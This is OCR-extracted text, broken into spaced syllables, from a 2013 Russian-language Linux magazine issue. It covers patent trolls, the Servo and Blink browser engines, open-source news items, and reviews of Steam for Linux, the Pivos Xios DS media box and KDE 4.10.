ван ных поль зо ва те лей – про грам ма с пре
зен та ция ми док лад чи ков и ви део ар хив.

ТРОЛЛИНГ И НЕ ТОЛЬКО

Кор по ра ции бьют ся за Linux

БУДУЩЕЕ РУНЕТА

РИФ + КИБ 2013 от крыл вес ну!

Red Hat и Google про тив па тент ных трол лей.

17 – 19 ап ре ля 2013 го да про шел XVII Россий ский Ин тернетфо рум. 

> Па тент ные трол ли 
нау чи лись зара-
ба ты вать огром-
ные деньги, 
ниче го при этом 
не про из во дя�

Пря мые вы пла ты ком паний США по ис кам па тент ных 
трол лей со ста ви ли в 2011 го ду 29 мил ли ар дов дол ла
ров, непря мые вы пла ты – 80 мил ли ар дов дол ла ров. 
Наи бо лее час то ата кам па тент ных трол лей под вер га
ют ся средние и ма лые ком пании, неспо соб ные дать 
долж ный от пор и не же лаю щие ввя зы вать ся в дли тель
ные и до ро гие су деб ные тяж бы, да же ес ли пра во мер

ность вы да чи па тен та, в на ру шении ко то ро го их об ви
ня ют, по став ле на под со мнение. Па тент ные трол ли 
пе ре клю чи лись на ис поль зо вание Ко мис сии по ме жду
на род ной тор гов ле США для ней тра ли за ции ата куе
мых ими ком паний, и та ким об ра зом, при бе гая так же 
и к дру гим осо бен но стям па тент ной сис те мы США, при
но сят круп ные непри ят но сти ком паниямжерт вам.

Ко му это вы год но?

http://2013.russianinternetforum.ru/news/
http://2013.russianinternetforum.ru/news/
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С
ра зу три ком пании, так или ина
че свя зан ные с ми ром СПО, 
объ я ви ли недав но о на ча ле раз

ра бо ток сво их брау зер ных движ ков. 
Не станем ли мы все сви де те ля ми но вой 
вой ны – вой ны ме ж ду движ ка ми?

Сна ча ла про ект Mozilla объ я вил о ко
опе ра ции с ком панией Samsung в об лас ти 
раз ра бот ки язы ка про грам ми ро вания Rust 
и раз ви тия экс пе ри мен таль но го брау зер
но го движ ка Servo. Ожи да ет ся, что под
клю чение к раз ра бот ке Samsung по зво
лит уско рить ста би ли за цию язы ка Rust 
и су ще ст вен но под толк нет раз ви тие но во
го брау зер но го движ ка, на раз ра бот ку ко
то ро го те перь бу дет вы де лять ся за мет но 
боль ше ре сур сов.

Дви жок Servo на пи сан на язы ке Rust 
и от ли ча ет ся под держ кой мно го по точ
ного рен де рин га webстраниц и воз мож но
стью па рал лель но го вы полнения опе ра ций 
с DOM (Document Object Model) в про цес
се об ра бот ки од ной webстраницы. Те ку
щий брау зер ный дви жок Mozilla Firefox уже 
не способен в пол ной ме ре за дей ст во вать 
по тен ци ал со вре мен ных мно го ядер ных 
сис тем, вследствие того, что из на чаль но 
строился на ис поль зо вании од но по точ ных 
схем об ра бот ки кон тен та. 

Ис поль зуе мые в Rust тех но ло гии безо
пас но го про грам ми ро вания по зво лят 
кар ди наль но под нять уро вень безо пас но
сти, ре шив те ку щие про бле мы с безо пас
но стью брау зе ров, на гляд но про яв ляю щие
ся в обнаружении де сят ков уяз ви мо стей 
в ка ж дой но вой вер сии.

Сра зу по сле это го ком пания Google объ
я ви ла о соз дании соб ст вен ной вет ки движ
ка WebKit и его ис поль зо вания в брау зе рах 
Chrome и Chromium. Но вый дви жок, полу
чивший на зван ие Blink, ба зи ру ет ся на мно
го про цесс ной ар хи тек ту ре, из на чаль но ис
поль зуе мой в про ек тах Chrome/Chromium 
и су ще ст вен но от ли чаю щей ся от основ
ной ар хи тек ту ры рас па рал ле ли вания опе
ра ций в WebKit.

Ос нов ной при чи ной соз дания вет ки яв
ля ет ся воз росшая тру до ем кость па рал
лель но го под дер жания раз ра бот ки от дель
ной мно го про цесс ной мо де ли, из на чаль но 
ис поль зуе мой в Chromе, но непри ем ле
мой для универ саль но го движ ка WebKit 
и неко то рых дру гих брау зе ров. 

В пред став лен ном в 2008 го ду брау
зе ре Chrome ком пания Google ис поль
зо ва  ла WebCore, под сис те му WebKit 
для рен де рин га HTML и CSS, но вме сто 

JavaScriptдвиж ка WebKit JavaScriptCore 
ис поль зо ва ла соб ст вен ный дви жок V8. 
Фак ти че  ски ком пания Google раз ви ва
ет в Chrome от ветв ление WebKit с самого 
начала, так как ис поль зовала для сво его 
брау зе ра от дель ную вет ку WebKit и непо
сред ст вен но вно сит в нее соб ст вен ные из
менения и пор ти рует сто ронние из менения 
из WebKit, по сле че го воз вра щает свои 
улуч шения в основ ную вет ку.

О на ме рении пе рей ти к применению 
движ ка Blink также зая ви ла и ком пания 
Opera, которая на хо дит ся в про цес се ми
гра ции на WebKit с соб ст вен но го движ ка 
Presto. 

Та ким об ра зом, сфор ми ро ван ное во
круг WebKit со об ще ст во рас ко ло лось 
на два ла ге ря, пред став ляю щих тех но ло
гии и ин те ре сы про ек тов Chrome от Google 
и Safari от Apple. Сле ду ет на помнить, что, 

и сам про ект WebKit был соз дан в 2001 го
ду как от ветв ление движ ка KHTML, раз ви
вае мо го со об ще ст вом KDE.

По мнению Google, соз дание но во го 
брау зер но го движ ка не от ра зит ся нега
тивно на эко си сте ме свободного ПО, а, на
оборот, оз до ро вит ее, поскольку кон ку рен
ция под стег нет раз ви тие ин но ва ций, как 
в свое время по яв ление несколь ких кон ку
ри рую щих брау зе ров под стег ну ло раз ви
тие Web. 

В подтверждение этого тезиса, разра
бот чи ки движка Blink называ ют при ори
тет ным на прав лением со труд ни че  ст во 
с соз да те ля ми дру гих брау зер ных движ
ков по обес пе чению со вмес ти мо сти, сле
до ванию стан дар там Web и соз данию но
вых webтех ноло гий. |

Новости  
короткой строкой

» В по след нюю сре ду мар та по тра
ди ции про шел День сво бод ных 

до ку мен тов, в рам ках ко то ро го по все му 
ми ру со стоя лись ме ро прия тия, на прав
лен ные на по вы шение ин те ре са поль зо
ва те лей к от кры тым фор ма там дан ных 
и от кры тым стан дар там.
Ис точник: www.fsfe.org

» 20–21 мая 2013 года в  конгресс
центре гостиницы «Прибалтийская 

Park Inn» пройдет VIII Петербургская 
интернетконференция СПИК2013.
Ис точник: hfday.org

» Ис пан ская ас со циа ция поль зо ва
те лей CПО Hispalinux на пра ви ла 

в Ев ро ко мис сию офи ци аль ную просьбу 
ра зо брать ся в воз мож ном на ру шении 
ан ти моно поль ных за ко новЕв ро сою за 
ком панией Microsoft, ис кусст вен но 
пре пят ст вую щей уста нов ке сто ронних 
сис тем на ком пь ю те ры с Windows 8. 
Ис точник: www.reuters.com

» Жур нал Forbes сфор ми ро вал 
спи сок из 12 лю дей, встрях нув ших 

ин ду ст рию, раз ру шив ших тра ди ци он
ные взгля ды и  из менив ших ста тускво 
в раз лич ных об лас тях бизнеса. В об лас ти 
ком пь ю тер ных тех но ло гий та ким на зван 
Марк Шатт л ворт [Mark Shuttleworth], 
осно ва тель и ли дер про ек та Ubuntu.
Ис точник: www.forbes.com

» Ри чард Стол лмен [Richard Stallman] 
объ я вил на кон фе рен ции LibrePlanet 

2013 лау реа тов еже год ной пре мии “Free 
Software Awards 2012” от Фон да СПО 
(FSF). Пер вую пре мию за про дви жение 
и раз ви тие СПО по лу чил Фер нан до Переc 
[Fernando Perez], ав тор IPython, ин те рак
тив ной обо лоч ки для язы ка Python.
Ис точник: www.fsf.org/awards

» Со ци аль ная сеть Facebook пред
ста ви ла про ект Facebook Home, 

в рам ках ко то ро го под го тов ле на поль
зо ва тель ская обо лоч ка для плат фор мы 
Android, ори ен ти ро ван ная на лю дей, 
ак тив но об щаю щих ся в со ци аль ных се тях.
Ис точник: www.facebook.com

» 2 ап ре ля 2013 го да со об ще ст во 
Mozilla от празд но ва ло 15 лет со дня 

осно вания про ек та, в 1998 го ду при сту
пив ше го к соз данию пер во го пол но цен
но го сво бод но го webбрау зе ра, осно ван
но го на ко де Netscape Communicator 5.
Ис точник: blog.mozilla.org

» 20 ап ре ля 2013 во всем ми ре 
со сто ял ся Hardware Freedom 

Day. В Мо ск ве Hardware Freedom Day 
ор ганизо вал хак спейс Neuron.
Ис точник: hfday.org
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НОВЫЕ ИНИЦИАТИВЫ

 «Движ ки» за ржа ве ли?
Кон ку рен ция заставляет брау зе ры ускоряться.

> За 12 лет WebKit 
стал ин ду ст ри аль-
ным стан дар том 
де-фак то� 12 лет — 
это долгая жизнь���

«Кон ку рен ция под-
стег нет раз ви тие 
ин но ва ций.»
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Новинки программного и аппаратного обеспечения в описании наших экспертов

В
е ли кие мыс ли те ли, жив шие 
в про кля тое ста рое вре мя, 
пи са ли со чинения о том, как 

хо ро шо станет в свет лом бу ду щем, 
в сильно от да лен ной пер спек ти ве. 
Данный жанр на зы ва ет ся уто пи че
 ским ро ма ном.

Дру гие мыс ли те ли про шло го, за
пу ган ные ок ру жаю щей их дей ст ви
тель но стью, пи са ли про то, как в том 
са мом бу ду щем станет со всем пло хо. 
Жанр их со чинений на зы ва ет ся 
ан ти уто пи ей.

А еще бы ли ре бя та, ко то рые пи
сали о том, что ес ли все станет хо ро
шо, то это бу дет поч ти так же нехо
ро шо, как ес ли бы все ста ло со всем 
пло хо. По то му что тогда все станет 
абсолютно оди на ко во. Имя это му 
жан ру – ро манпре ду пре ж дение.

Когдато дав но бы ло многомно го 
UNIX’ов. По том чис ло их по умень ши
лось, но вме сто них поя ви лось мно
го Linux’ов, а так же раз ных BSD’ей. 
И ка ж дый мог вы брать се бе сис те му 
на ощупь, на вкус и по ве су.

Нын че де ло идет к то му, что у нас 
останет ся одинединственный Linux. 
А ну жен ли один Linux? Ведь в свое 
вре мя он взял имен но тем, что 
Linux’ов бы ло мно го. А од на сис те
ма, ис тин но вер ная, у нас и так есть. 
Я не бу ду по вто рять, как она на зы
ва ет ся. По то му что есть и еще од
на сис те ма, не менее вер ная. И пусть 
они про меж со бой ре ша ют, кто там 
на стоя щий верный ленинец, а кто 
троц кистук лонист.

Но вот ес ли отомрут на ши мно
гие Linux’ы, станет... Нет, не страш
но – че ло ве че  ст во и худ шие бе ды 
пе ре жи ва ло. Но безусловно станет 
скуч но.
alv@posix.ru

АЛЕКСЕЙ ФЕДОРЧУК
Тэг <сар казм> 
по умол ча нию, 
смай ли ки по вку су�

Сегодня мы рассматриваем:

Срав не ние: Ди ст ри бу ти вы для про дви ну тых с. 26

Steam  ................................................  14
У нас так и че шут ся ру ки взять ся за кли ент Steam для 
Linux. Эта плат фор ма рас про странения игр мо жет по слу
жить той ка п лей, что про рвет пло ти ну неже лания от ка
зать ся от двой ной за груз ки и вый ти на пол ную сво бо ду.

Pivos Xios DS  ....................................  16
XBMC вполне ладит с Raspberry Pi, но в гости ной хо чет
ся иметь нечто попре зен та бель нее, вот как Pivos Xios DS: 
он умеет да же ве щать по то ком кон тент с Windowsсер ве
ра на те ле ви зор, бла го да ря Samba. И по стро ен на Android.

KDE 4.10  .............................................  17
KDE 4.10 за вел про грам ми руе мы е обои, и вы смо же те соз
дать скрипт для анимаци и фо на. KDE 4.10 полон кра сот, 
но по сколь ку еще боль ше его эле мен тов пе ре ш ло на QML, 
кра со ты ста ли луч ше и бы ст рее (и он ра бо та ет!).

ALT Linux 6.0 СПТ ............................  19
Нельзя сказать, что этот отечественный дистрибутив 
на голову выше прочих: здесь в общем все как у всех. Его 
козырная карта – сертификация ФСТЭК, которая позво
ляет работать с данными, имеющими гриф секретности. 

The Ur-Quan Masters  ....................  20
Давнень ко мы не спа са ли мир – сде лаем же это в неком
мер че  ской вер сии отличной иг ры. Не под да вайтесь на про
во ка ции зло де ев под ли чи ной дру зей и от ли чайте аб ст
ракт ное зло от на стоя ще го, и гип но жа ба вам не страшна. 

FTL: Faster Than Light  ...................  21
Раз уж появился клиент Steam для Linux, задействуем его 
на всю катушку! Rogueподобная игра («рогалик») уведет 
вас бороздить просторы Вселенной, отбивая атаки косми
ческого флота повстанцев. Но английский надо подучить.

Prestigio MultiPhone 4300 Duo ....  22
«Двух кар точ нодвух си моч ный» смарт фон вы зы ва ет по
рыв при сяг нуть ему на по жизнен ную вер ность. В нем есть 
все атрибуты со вре мен но го ком муника то ра, да по доступ
ной цене – че го еще же лать? Увы, за ря да ак ку му ля то ра...

MK808  ................................................  23
Миником пь ю те ры пло дятся как кро ли ки – не успе ва ешь 
реа ги ро вать. По пу ляр нейшее их при менение – в качестве 
до машнего ме диацентра, в упряжке с ТВ. Этот то же 
не ис клю чение, лишь бы вы не робе ли ме нять про ши вки.

Ро ман-пре ду-
пре ж дение

> О это бес цен ное чув ст во, ко гда вы упое нно иг рае те 
в Team Fortress 2 и вдруг осоз нае те, что рассве та ет���

Steam

Chakra 2013.02  ................................  18
Не бои тесь команд и ище те чис тоKDE’шный ди ст ри бу тив 
с не за мутнен ной вся ки ми гно ма ми пер во здан ной гра фи
кой? Берите Chakra, не ошибетесь. Он у же вклю чил KDE 
4.10 – све жай ший ва ри ант ве ли чай ше го ра бо че го сто ла.

Arch

Gentoo

Debian

Slackware
Кон тро ли руй те мель чай шие 

ас пек ты сво ей ма ши ны – про сто 

по то му, что вы мо же те – с од ним 

из на ших кан ди да тов и по сра ми те 

сла ба ков, до воль ст вую щих ся 

эк зем п ля ра ми «из ко роб ки».

Fedora
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V
alve – ком пания, на це лен ная 
на успех. Ее ма нит цель за нять 
ме сто в гости ных все го ми

ра, а Linux – сту пень ка на этом пу ти. Гла
ва ком пании, Гейб Ньюэлл [Gabe Newell], 
озвучил свое недо воль ст во Windows 8, 
недву смыс лен но на звав ее «ка та ст ро
фой» и се туя на ее иде ал за кры то го рас
про странения про грамм. И хо тя Steam, 
плат фор ма циф ро вых пуб ли ка ций для 
раз ра бот чи ков игр, не за стра хо ва на от по
доб ных об винений – ин дираз ра бот чи ки, 
жа ж ду щие рас про стра нять свои тво рения 
че рез Steam, пе ред тем, как по лу чить до
ступ, долж ны прой ти че рез до воль но дур
но сфор ми ро ван ную про це ду ру «зе ле но го 
све та» – факт тот, что Valve боль ше не счи
та ет нуж ным по ла гать ся на эко си сте му 
Windows. По сле до вав за вер си ей для Mac, 
вы шед шей в 2010 го ду, вер сия Linux ста
ла на стоя щим хи том, в основ ном как тес
то вая пло щад ка для до машней кон со ли 
Valve, о ко то рой бы ло столь ко раз го во ров.

Сам по се бе Steam – не иг ра, и да же 
не сре да для игр. Это элек трон ный ма га
зин – но с весь ма со лид ной про дук ци ей; 
ис то рия взаи мо от но шений Valve с гей ме
ра ми, ис поль зую щи ми ПК, ухо дит кор ня ми 
в 1998 год и в Half Life, и по все ме ст ная по
пу ляр ность этой плат фор мы под толк ну ла 
дру гих раз ра бот чи ков в их на прав лении. 
Эта ком пания уникаль на и зна менита 

аморф но стью струк ту ры сво его пер со
на ла, что и при вле ка ет к ней са мые яр
кие умы в этом бизнесе. Valve кру та. Крут 
и Steam, и не толь ко по ас со циа ции с ней. 

Правда, его пе ре ход на Linux про хо дит 
не вполне глад ко. Его уста нов ка про ста, 
и это уп ро ща ет уста нов ку игр, од на ко его 
иг ры слиш ком уж тре бо ва тель ны к драй
ве рам. На на шей тес то вой сис те ме Steam 
со об щил нам, что не мо жет ав то ма ти че  ски 
об но вить на ши драй ве ры, несмот ря на на
ли чие со от вет ст вую щей оп ции в ме ню; бу
дем на де ять ся, это ис пра вят. 

Ог раничен ный ка та лог
Есть и некие за труднения фи ло соф ского 
по ряд ка: Steam вклю ча ет же ст кую техно
ло гию DRM, ко то рая при вя зы ва ет ва ши 
при об ре тения к ва шей учет ной за пи си. 
Иг рать в ре жи ме оф ф лайн хо тя и мо жно, 
но придется вой ти в сис те му, что бы раз
бло ки ро вать иг ры. Поль зо ва те ли Win
dows, же лаю щие оп ро бо вать но вую ОС – 
а мы уве ре ны, что есть нема ло тех, кто, 
по доб но Ньюэл лу, не при шел в восторг 
от Windows 8 – бы ли раз оча ро ва ны, 
и не в по след нюю оче редь изза до воль но 
скуд но го вы бо ра игр. В Linux Steam 131 иг
ра, а в Windows их бы ло 1860. Это толь ко 
на ча ло про цес са, но да вай те вернем ся 
к самой кон со ли: мы по доз ре ва ем, что 
сто ит Valve соз дать стан дар ти зи ро ван ную 

плат фор му с со лид ной ОС на осно ве Linux 
и она за ра бо та ет, Steam то же пре крас но 
вой дет в ко лею. И это бу дет оз на чать боль
ше воз мож но стей и для круп ных раз ра
бот чи ков, и для Linux – ко де ры будут пор
ти ровать свои луч шие про дук ты в Linux 
не от случая к случаю, раз эти ре ли зы те
перь смо гут при об ре тать ле гио ны ком
нат ных поль зо ва те лей; и их не обязатель
но рас про стра нять только че рез Steam. 
И про бле ма с драй ве ра ми то же не затя нет
ся, ес ли Steam пред по ла га ет рас ши рить 
кроссплат фор мен ную раз ра бот ку. Steam 
мо жет принес ти лишь поль зу.

Steam

Вкратце

» Глав ная плат-
фор ма рас про-
стра не ния игр 
пришла на Linux� 
См� также: Ubuntu 
Software Centre�

Изза Steam со вер ша ют боль ше им пуль сив ных по ку пок, чем изза лю бо го  
дру го го ПО; вот так Алек су Кок су и от ка за ли в вы да че кре дит ной кар ты.

> Дол го ждан ное 
по яв ле ние Steam 
в Linux мо жет оз-
на ме но вать со бой 
ре во лю цию 
в ми ре игр�

Вердикт

Steam

Рейтинг 8/10

Раз ра бот чик: Valve

Сайт: www.steampowered.com

Це на: Бес плат но

Функ цио наль ность 8/10
На ли чие игр 5/10
Про сто та ис поль зо ва ния 10/10
До ку мен та ция 9/10

» Нет ни ка ких при чин от ка зы вать

ся от ус та нов ки Steam. Это – са мый 

бы ст рый путь к при об ре те нию луч

ших игр.
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Steam в Linux: Лучшее
Half-Life от Valve, £ 5,99
Иг ра, с ко то рой все на ча лось. Мож но ут вер ждать, что Half Life ста
ла ро до на чальником жан ра стре ля лок от пер во го ли ца с ин те рес
ным сю же том, вы тес няя лобовую фи ло со фию «стре ляй во все, 
что дви жет ся» та ких от цовосно ва те лей, как Quake, и за ме няя 
ее бо лее ум ст вен ны ми уп ражнения ми, привя зан ны ми к оп ре де
лен но му на ча лу и кон цов ке. Иг рая от ли ца уче но го Гор до на Фри
ме на [Gordon Freeman], вы бу де те мно го стре лять, но за од но при
дет ся ре шать го ло во лом ки, чинить пор та лы ме ж ду из ме рения ми 
и наслаждаться от лич но про ду ман ными при клю чениями. Да, 
в Half Life за ме тен ее воз раст, и тот факт, что мы до сих пор ждем 
Source SDK 2007 го да – от кры вающий дви жок луч ших игр Valve 
ин дираз ра бот чи кам – оз на ча ет, что нам не за пустить лапы 
в Black Mesa, недавний ри мейк HD; по крайней ме ре, по ка. Но ес ли 
вы еще не зна ко мы с Half Life, то про сто обя за ны познакомиться.

Counter-Strike Source от Valve, £ 13,99
Не пу тать с недавним ре ли зом Counter-Strike Global Offensive 
для Windows: это – средний ре бе нок в са ге стре ля лок, по ве ст вую
щих о борь бе хо ро ших парней с пло хи ми, и он был све том во тьме 
офис ных се тей с мо мен та сво его по яв ления в 2004 го ду. Во мно
гом по доб но Half Life, Counter-Strike пред ла га ет на столь ко неот
ра зи мую фор му лу, что осталь ным AAAиг рам в жан ре псев до  ре
аль ных сра жений ниче го не оста ет ся, кро ме как без за стен чи во 
клониро вать ее; соз дай те соб ст вен ное сна ря жение, ввя жи тесь 
в те ракт и ли бо из мените си туа цию к луч ше му, ли бо унич тожь те 
невер ных. Кар ты Counter-Strike весьма под роб ны. Очень ско ро 
вы бу де те знать все угол ки ка ж дой ком на ты, луч шие мес та, что бы 
спря тать ся, и са мые эф фек тив ные пути для то го, что бы, экипи ро
вав шись, за дать жа ру врагу. Есть разные ти пы иг ры, и всегда на
готове он лайнсо об ще ст во – о но иг ра ет мно го луч ше, чем бо ты.

Team Fortress 2 от Valve, бес плат но
Это нечто осо бен ное. Это бес плат ная мно го поль зо ва тель ская 
стре лял ка, в ко то рой шарм и юмор про сто со чат ся изо всех пор. 
Вы вы би рае те се бе ко ман ду и класс, и при сое ди няе тесь к осталь
ным в по пыт ках унич то жить дру гую ко ман ду. На чи ная с мед ли
тель но го, но убий ст вен но го Heavy, ми нуя про вор но го Scout и та
кие жизнен но важ ные клас сы, как зло ве щий Medic и неуло ви мый 
Spy, ме ханика Team Fortress 2 про сто пре крас на. Хо тя иг ра бес
плат на, в ней есть стран ная ва лю та в ви де пред ме тов. Сре ди них 
шля пы, но вое ору жие и про чие раз но сти. Ес ли вы уже доста точ
но иг ра ли, вы смо же те най ти или сма сте рить их ес те ст вен ным об
ра зом, од на ко ес ли вам ну жен немед лен ный ре зуль тат, мо же те 
по ло жить в гор шо чек ма лую то ли ку на лич ных – для пред ме
тов, пред ла гае мых со об ще ст вом, это да же оз на ча ет, что глав ные 
жерт во ва те ли смо гут малость подза ра бо тать.

Ос таль ные
Мы рас смот ре ли толь ко несколь ко луч ших игр 
от Valve – ве ро ят но, глав ных в ка та ло ге Steam для 
Linux в дан ном ре ли зе – но это не все. Crusader Kings II 
(£ 34,99) – од на из са мых глу бо ких стра те гий, в ко то
рые мы иг ра ли, и на стоя щая цен ность. Вы по тра ти те 
не один день на его лихо за кру чен ные се мей ные тай
ны, ин три ги и за вое вания. 

Бэкка та лог Introversion уже осу ще ст вил пе ре ход, 
и де мон ст ри ру ет по сто ян ные бо ну сы Steam; вы мо же те 
вы брать лот, в том чис ле Darwinia, Uplink и Defcon, 

все го за £ 12 на мо мент на пи сания дан но го ма те риа ла. 
Сле ди те за рас про да жа ми, и смо же те по лу чить их еще 
де шев ле. 

Steam не стра да ет недостат ком ин диигр, ко то рые 
уже про ло жи ли се бе путь в Linux. Те перь та кие фа
во ри ты LXF, как SpaceChem (£ 6,99), Trine 2 (£ 11,99) 
и Amnesia (£ 12,99) лег ко доступ ны в ма га зине Steam – 
в них нет ниче го осо бо но во го, толь ко спо соб их при
об ре тения. И да же ес ли вы ку пи те со вмес ти мые 
иг ры на Windows или Mac, вы смо же те иг рать в них 
и на Linux с та ким же успе хом. |
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Э
то неболь шое ARMуст рой ст во, 
ко то рое при под клю чении пре
вра ща ет зауряд ный те ле ящик 

в «ум ный». Мы ле пи ли по хо жие сис те мы 
из го лых плат ARM, на при мер, Raspber
ry Pi, и нас за ин три го ва ла мысль о сис
те ме «под ключ», ко то рую мож но со
брать и за пустить с миниму мом 
за мо ро чек.

Увы, ока за лось, что за пуск Xios 
DS и за груз ка XBMC не оченьто 
под хо дят под оп ре де ление «мини
мум за мо ро чек». Для на ча ла, XBMC 
не уста нов лен по умол чанию, при
дет ся уста нав ли вать его с сай та Pivos. 
Обыч но уста нов ка при ло жений Android 
сво дит ся к за груз ке фай ла APK (Android 
package) и на жа тия Install. Од на ко вы
яснилось, что Pivos «муд ро» за ар хи ви
ро вал файл APK в ZIPфор ма те. То есть 
мы за ранее долж ны бы ли за гру зить ZIP 
на дру гой ком пь ю тер, рас па ко вать ар хив, 
сде лать его доступ ным online (ис поль зуя 
Python -m SimpleHTTPServer), за тем за гру
зить файл сно ва и уста но вить его. Так же 
мож но пе ре да вать файл на кар те microSD, 
но у нас не бы ло ее чи тал ки. Осо бен но пе
чаль но в дан ном слу чае то, что APKфай
лы и без то го сжа ты, и ZIPар хив по лу ча ет
ся то го же раз ме ра, что и ис ход ный файл.

Слег ка рас стро ив шись, мы при сту пи ли 
к за груз ке XBMC, но да ле ко не уш ли. Про
шив ка на ше го уст рой ст ва уста ре ла. При
шлось сно ва ка чать ZIPар хив, рас па ко
вы вать его и пе ре но сить файл, ис поль зуя 
наш соб ст вен ный webсер вер. Но на сей 
раз схе ма не сра бо та ла. Файл об нов ления 
обя зан быть в корневом ка та ло ге кар ты 
microSD, а за ста вить ра бо тать дис пет чер 
фай лов мы не смог ли. Мы из влек ли SD
кар ту, вста ви ли ее в те ле фон, пе ре мес
тили за гру жен ный файл в нуж ное ме сто, 
за тем пе ре мес ти ли кар ту microSD об рат но 

в DS. Тьфу! И всех за мо ро чек 
мож но бы ло из бе

жать, ес ли бы не ZIPфай лы и нера бо таю
щий фай ло вый менед жер.

Про де лав все это, мы бы ли го то вы 
к за пуску. За пуска ет ся са мая по след
няя вер сия XBMC (Frodo), мы ее опи сы ва
ли в LXF169. Ко ро че го во ря, это класс ное 
ПО, ес ли на ва шем ком пь ю те ре есть ку ча 
ви део фай лов и вы ду мае те, как бы их по
смот реть на сво ем ТВ. Xios пред по чи та
ет раз делен ные че рез Samba ресурcы, что 
бу дет пре крас но со че тать ся с фай ло вым 
сер ве ром Linux.

Уда лен ная по лез ность
В этой вер сии DS есть дис тан ци он ное 
управ ление – един ст вен ное, что от ли
ча ет ее от боль шин ст ва са мо дель ных 
XBMC-сис тем. Это про стой пульт с пя тью 
кноп ка ми и се лек то ром на че ты ре по ло
жения. При ятнее ис поль зо вать его, чем 
при ло жение XBMC для дис тан ци он но го 
управ ления смарт фо на ми, но толь ко по
то му, что мы уже не юны и пред по чи та
ем тач ск ри нам на жа тие на кноп ки. Чи та
те ли по мо ло же на вер ня ка ду ма ют ина че. 
При ло жение для смарт фо на бу дет ра бо
тать с DS, а так же и с лю бой дру гой вер
си ей XBMC. Мы вы яснили, что мож но пре
крас но кон тро ли ро вать сис те му в лю бом 

из ва ри ан тов управ ления, так что уже 
уста нов лен ная сис те ма бу дет 
пре крас но ра бо тать без по мо щи 
кла виа ту ры или мы ши.

За спи ной XBMC в DS за пуска
ет ся Android 4, и мож но вер нуть

ся к нему для ра бо ты в Ин тернет 
и т. д. А вот эти занятия уже не очень 

хо ро шо ра бо тают без мы ши и кла виа ту ры, 

ко то рые не впи сы ва ют ся в кон текст раз
вле ка тель но го цен тра.

Дей ст ви тель но хо те лось, что бы DS нам 
по нра вил ся. Раз ра бот чи ки пра виль но сде
ла ли, по ра бо тав со спе циа ли ста ми XBMC, 
что привнес ло це лый порт ПО для Android 
(по ка что он за гру жа ет ся толь ко на DS, 
а не на об щих уст рой ст вах Android). На
стро ен ная по доб ным об ра зом сис те ма до
воль но хо ро ша, но с этой на строй кой при
дет ся по во зить ся. От кро вен но го во ря, 
это не на мно го бы ст рее, чем уста но вить 
RaspBMC на Pi. Так же мы не уве ре ны, что 
цен но сти до бав ля ет дис тан ци он ный пульт, 
нуж ный до тех пор, по ка от сут ст ву ет бес
про вод ная сеть или смарт фон. На де ем ся, 
в сле дую щих вер си ях при ве дут в по ря док 
уста нов ку – ес ли дан ный во прос про ра
бо та ют, это му мик ро ком пь ю те ру не бу дет 
це ны. |

Pivos Xios DS

Вкратце

» Мик ро ком-
пь ю тер ARM 
с XBMC� См� так-
же Raspberry Pi 
с RaspBMC�

Вердикт

Pivos Xios DS

Рейтинг 7/10

Раз ра бот чик: Pivos

Сайт: www.pivosgroup.com

Це на: €119

Функ цио наль ность 8/10
Про из во ди тель ность 8/10
Удоб ст во ис поль зо ва ния 6/10
Обос но ван ность це ны 7/10

» Стоя щий про дукт; ра ди не го мож

но ра зок стер петь кро пот ли вую 

ус та нов ку.

> Мы счи та ем, Pivos Xios DS вы гля дит впол не при лич но, что бы сто ять в од ном ря ду с дру-
ги ми раз вле ка тель ны ми цен тра ми�

>Мо жет, он и вы-
гля дит как за бав-
ная тол стая под-
став ка под пи во 
с дыр ка ми по бо-
кам, но на са мом 
де ле Pivos Xios 
DS весь ма 
по ле зен�

Бен Эве рард ис сле ду ет мик ро ком пь ю тер ARM, что бы в ком би на ции с XBMC  
сде лать обыч ный те ле ви зор кру тым, и вы яс ня ет, сложнее ли это, чем с Pi.

Версии ПО

» A9 800МГц 
CPU

» Гра фи ка: 
Mali400

» ОЗУ: 512 MБ 
DDR2

» Пе ри фе рия: 
802.11b/g/n 
WiFi, 100M 
Ethernet, 
3 USB 2.0

» Сло ты 
рас ши ре ния: 
MicroSDHC

» Вы ход: HDMI 
до 1080p

» За груз ка при
ло же ний: че рез 
Google Play
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П
о хо же, раз ра бот чи ки KDE твер до 
на ме ре ны по став лять со лид ный 
ба гаж об нов лений, но вых функ

ций и улуч шений про из во ди тель но сти 
с ка ж дым малым ре ли зом. И во все не пре
до су ди тель но же лать, что бы KDE, на конец, 
раз ре шил ся вер си ей 5.0, а не тя нул кани
тель с чет вер той. Осо бен но с уче том ве со
мо сти по следних трех основ ных ре ли зов. 

KDE про шел долгий путь, ми но вав ру
би кон ре ли за 4.0, ко то рый боль шин ст ву 
по ка зал ся роковой ошиб кой изза непри
выч ной кон цеп ции. В 4.10 поя ви лись 
неболь шие, но впе чат ляю щие из менения. 
Мно го внимания уде ле но KWin, окон но му 
менед же ру KDE. У же лаю щих рас про щать
ся с ме ню при ло жений те перь есть вы
бор: оста вить его или ис поль зо вать об щее 
ме ню. По следнее сво ра чи ва ет все ме ню 
в од ну кноп ку в стро ке за го лов ка. До них 
попрежнему мож но до б рать ся че рез кла
ви ши бы ст ро го досту па, но са ми они спря
та ны в кро хот ной непри мет ной икон ке 
в ле вом верхнем уг лу, по верх всех окон. 
А глав ное ме ню по яв ля ет ся по сре ди верх
ней час ти эк ра на, при на ве дении кур со ра.

Ряд дру гих ком понен тов KDE пе ре ве
ден на QT Quick (язык на пи сания гра фи че
 ских ин тер фей сов Qt). Эк ран бло ки ров ки 
на базе QML го раз до про ще на строить, 
чем раньше. По ми мо обыч ной бло ки ров ки 
и ре жи ма за щи ты эк ра на, поя ви лась но
вая оп ция: она по зво ля ет оп ре де лять, ка
кие вид же ты вы хо ти те ви деть на эк ране, 
по ми мо кра си вых обо ев. Кстати, дви жок 
обо ев то же пе ре ве ден на QML. И это зна
чи тель но уп ро ща ет соз дание скрип тов для 
ва ших лю би мых за ста вок с анима ци ей. 

Ранее нам бы ло за что по кри ти ко вать 
поч то вый кли ент KDE. Те перь в Kmail поя
ви лись свои функ ции ав то за ме ны и про
вер ки пра во пи сания, а так же способ ме
нять раз мер при кре п ляе мых изо бра жений. 
Вы зы ва ла на ре кания функ ция им пор ти ро
вания. Те перь мас тер им пор та по зво ля
ет пе ре но сить на строй ки из Opera, дан ные 
из Claws Mail и мет ки из Thunderbird/Claws 
Mail. Плю сом к неко то рым важ ным об нов
лениям Kontact, со об щения те перь луч ше 
ин дек си ру ют ся и бы ст рее за гру жа ют ся.

